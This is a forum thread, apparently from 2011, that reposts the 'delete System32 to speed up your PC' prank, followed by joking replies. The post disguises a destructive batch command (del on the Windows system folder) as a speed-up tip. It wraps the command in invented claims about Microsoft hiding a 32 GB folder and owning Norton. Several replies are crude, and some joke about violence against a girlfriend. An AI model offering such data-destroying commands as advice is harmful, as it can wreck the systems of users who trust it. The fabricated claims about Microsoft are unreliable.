Want to speed up your comp?. . Okay newfags, listen up. When Microsoft was first getting started, they knew they wouldn' t make enough money just from the profi Want to speed up your comp? Okay newfags listen When Microsoft was first getting started they knew wouldn' t make enough money just from the profi
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Okay newfags, listen up.
When Microsoft was first getting started, they knew they
wouldn' t make enough money just from the profits of their
operating system. Everybody knows people pirate Windows.
So they had to get creative. A guy named Chris Liddel came
up with the idea to put a folder called "'' in the win-
doves folder that literally slows down your machineporn pur-
pose. '' holds 32 GIGABYTES of deleted files, inter-
net history, uninstalled programs, and other worthless crap
that intentionally clogs up your machine, Why did they do it?
Because Microsoft owns several PC "cleaning" tools, like
Tuneup Utilises, Norton Antivirus, ete. More money for
them. /h/ isn' t cool with that, however. Here' s how to out-
smart those assholes once and for all:
Open Notepad
Type the following text:
echo off
del C:\\ WIN DOWS\ system's
Save as "speedup. bat" (select "all files" instead of "text document"
Doubleclick the 1: rat file
Reboot, and your PC is twice as fast. (You didn' t hear it from us.)
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> hey anon, wanna give your opinion?
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#69 - anon id: a4db6560
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I got one of my ex gfs to do this. 10 points if you can guess why she's my ex :S
User avatar #84 to #69 - hopcroft
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Because one night you came home to her screwing your neighbour, so you walked outside got a rake and ****** her in the ass with it, that done you proceeded to cut her body into tiny pieces only to serve it in a stew at a hipster convention. It was only that when you got home that you realised that you hadn't gone home at all but accidently walked in to your neighbours house to find them having private sex. Then your neighbour went over to yours and starting screwing your girlfriend without your knowledge, you walked home and found your girlfriend screwing your neighbour.........and so the cycle continues.
#166 to #84 - gewehr
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#72 to #69 - beastarro
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because you used to get drunk and beat her savagely
User avatar #77 - scroogeymcduck
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(05/27/2011) [-]
DONT DO IT. ITLL MAKE YOUR COMPUTER TOO ******* FAST. I TYPED THIS IN HALF A SECOND.
#162 to #77 - OOOOOOOOOO
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Does it make you type in all caps, too?
#629 to #162 - cyborn **User deleted account**
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User avatar #85 to #77 - imnotanig
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seems legit, if your computer runs faster, you automatically type faster!!
#53 - TheDave
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(05/27/2011) [-]
Aw, now don't do this.

This is what sets us apart from /b/

We're only supposed to be assholes, not cunt scum.
User avatar #256 to #53 - MrDrProfessor
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too bad /b/'s not even bad at all
#40 - spankypants **User deleted account**
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#48 to #40 - spankypants **User deleted account**
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#62 to #40 - MrEpicwill
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**** your Macs.
**** your Macs.
#42 to #40 - CANADIANS ROCK
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#43 to #42 - spankypants **User deleted account**
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User avatar #45 to #43 - GotJipped
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YOu know what's the difference between a Mac and a PC?

Branding. A Mac IS a PC (PC stands for PERSONAL COMPUTER)

Plus, you could get a lot more out of a PC made with components from different companies than you could with a PC made by Apple
#320 - SilverBladeMaster
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(05/28/2011) [-]
Reaction if you fell for it.
Reaction if you fell for it.
#341 to #320 - majorkick
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#345 to #341 - RachaerRawrr **User deleted account**
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#366 to #320 - Gerex
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Then this.

Then this.
#321 to #320 - SilverBladeMaster
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Reaction if you didnt
Reaction if you didnt
#418 - karidagur
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NICE im going to try it brb  
  
  
never comes back
NICE im going to try it brb


never comes back
#319 - qasman
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(05/28/2011) [-]
Thanks man I'm doing this as we spe
User avatar #332 to #319 - trolljunkusa
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(05/28/2011) [-]
lol, his computer is now so slow he cant finish sentences
User avatar #322 to #319 - lolocaustic
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spe? finish your sentence, im doing this now and i need some funny comments to re
#323 to #322 - qasman
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OK so my computer isn't turning on now I figured I shouldn't disturb it whilst it's finishing the job?


Sent from my iPhone
#326 to #323 - zomba **User deleted account**
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User avatar #344 to #326 - skippie
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Wow it's almost like you guys said Candlejack, well see yo
#290 - notaponyhater **User deleted account**
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#448 - lynchdude
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oh god it was a lie!
oh god it was a lie!
User avatar #462 to #448 - jamesisawesome
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And this surprises you?
#463 to #462 - lynchdude
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no i obviously didn't do it if im talking to you now i learned about system 32 in computer tech class in middleschool
User avatar #464 to #463 - jamesisawesome
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Exactly, I'll bet all of 3 people actually fell for this, but I give OP props for effort
User avatar #466 to #464 - lynchdude
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it is still funny to think that people did fall for it
#419 - coolnamemagee
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That's pretty messed up. Some people here are actually stupid enough to believe you...
#437 to #419 - tombombadil
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#444 to #437 - coolnamemagee
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NO.